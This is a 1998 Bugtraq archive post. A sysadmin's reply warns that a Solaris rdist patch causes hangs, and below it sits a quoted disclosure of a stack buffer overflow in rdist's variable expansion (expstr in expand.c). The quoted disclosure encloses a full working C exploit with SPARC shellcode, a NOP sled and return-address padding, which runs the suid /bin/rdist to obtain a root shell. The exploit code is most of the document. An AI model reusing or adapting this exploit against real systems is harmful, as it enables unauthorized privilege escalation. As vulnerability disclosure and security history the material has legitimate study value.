Bugtraq mailing list archives
Re: solaris 2.x rdist exploit / too many humbles :p
From: thomas.jordan () EAST SUN COM (Thomas Jordan - ENS Sys/Admin - Columbia)
Date: Thu, 13 Aug 1998 09:02:25 -0400
A word of caution about this patch. On 2.5.1 and 2.6 machines, the patch can cause rdist to hang when rdisting out to an existing directory. It's not real consistent across machines, but once it happens on a machine, it will happen everytime an rdist to an existing directory is performed (the client machine hangs the rdist). Remove the patch on the client, and it works again like a champ. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thomas Jordan email: thomas.jordan () east sun com ENS Systems Administrator pager: tjordan () pager east sun com Sun Microsystems, Inc. 6716 Alexander Bell Drive phone: (410) 312-1738 Columbia, Maryland 21046 fax: (410) 312-1799 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John McDonald wrote:
Enclosed is an exploit for a hole in Solaris rdist that I believe the patch #105667-01 addresses. That patch is for 2.6. I've personally tested the exploit on 2.6, 2.5.1, and 2.5 machines. I'm not sure if that is the right patch, but I'm pretty sure this hole has been fixed. You can see the hole if you look at the bsd source for rdist, which is apparantly pretty similiar to the code Sun used. The vulnerability is in expand.c, which you can look at here: http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/rdist/expand.c?rev=1.5 Part of the program's functionality is to allow a user to define variables and reference them in a way similiar to environment variables. The problem comes in when the program attempts to substitute the symbol representing the variable with it's value. You should be able to see this by doing: rdist -d bleh=AAAAA(lotsa lotsa A's) -c /tmp/ '${bleh}' In the function expstr(), we have if (tp != NULL) { for (; tp != NULL; tp = tp->n_next) { (void) sprintf((char *)ebuf, "%s%s%s", s, tp->n_name, tail); expstr(ebuf); } return; } A little higher in the code, we see: u_char ebuf[BUFSIZ]; This is obviously a bad thing. BTW, none of the bsds or linuxs are vulnerable to any rdist hole to the best of my knowledge because the binary isn't suid. My nick used to be humble, but as of reading bugtraq yesterday, I can see that someone else is partial to the name. In order to allieviate confusion, (and to possibly deflect emails about how to "run ufsrestore.c" to him :p), I'll change my nick. And looking at this last post, I don't think I want to inherit his enemies. :> horizon ------------------------------------------------------------------------ /* rdist solaris 2.* sploit */ /* by horizon. thanks to ktwo */ /* argv[1] is your offset */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 1024 #define SAFETY 40 /* blind guess */ #define EXTRA 400 #define STACK_OFFSET 2360 #define SAFETY_OFFSET 248 #define SPARC_NOP 0xac15a16e u_char sparc_shellcode[] = "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08"; int addr_ok(long a) { if (((a>>24)&255)==0) return 0; if (((a>>16)&255)==0) return 0; if (((a>>8)&255)==0) return 0; if (((a)&255)==0) return 0; return 1; } u_long get_safe_addr(long sp) { return sp-SAFETY_OFFSET; } u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } int main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; char tempbuf[BUF_LENGTH + EXTRA + 8+6]; long stack,targ_addr,safe_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); stack=get_sp(); safe_addr=get_safe_addr(stack); while(addr_ok(safe_addr)==0) safe_addr+=8; targ_addr = stack + STACK_OFFSET - dso; while(addr_ok(targ_addr)==0) targ_addr+=8; long_p =(u_long *) buf ; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; *char_p++=' '; *char_p++=' '; for (i = 0; i < SAFETY /4; i++) { *char_p++ =(safe_addr>>24)&255; *char_p++ =(safe_addr>>16)&255; *char_p++ =(safe_addr>>8)&255; *char_p++ =(safe_addr)&255; } for (i = 0; i < (EXTRA-SAFETY) /4; i++) { *char_p++ =(targ_addr>>24)&255; *char_p++ =(targ_addr>>16)&255; *char_p++ =(targ_addr>>8)&255; *char_p++ =(targ_addr)&255; } *char_p++=0; sprintf(tempbuf,"bleh=%s",&buf[2]); printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n", stack,safe_addr,stack-safe_addr); printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0); perror("execl failed"); }
Current thread:
- Re: solaris 2.x rdist exploit / too many humbles :p Thomas Jordan - ENS Sys/Admin - Columbia (Aug 13)
- <Possible follow-ups>
- Re: solaris 2.x rdist exploit / too many humbles :p Darren J Moffat - SunService ETZ-N OS Product Support Group (Aug 13)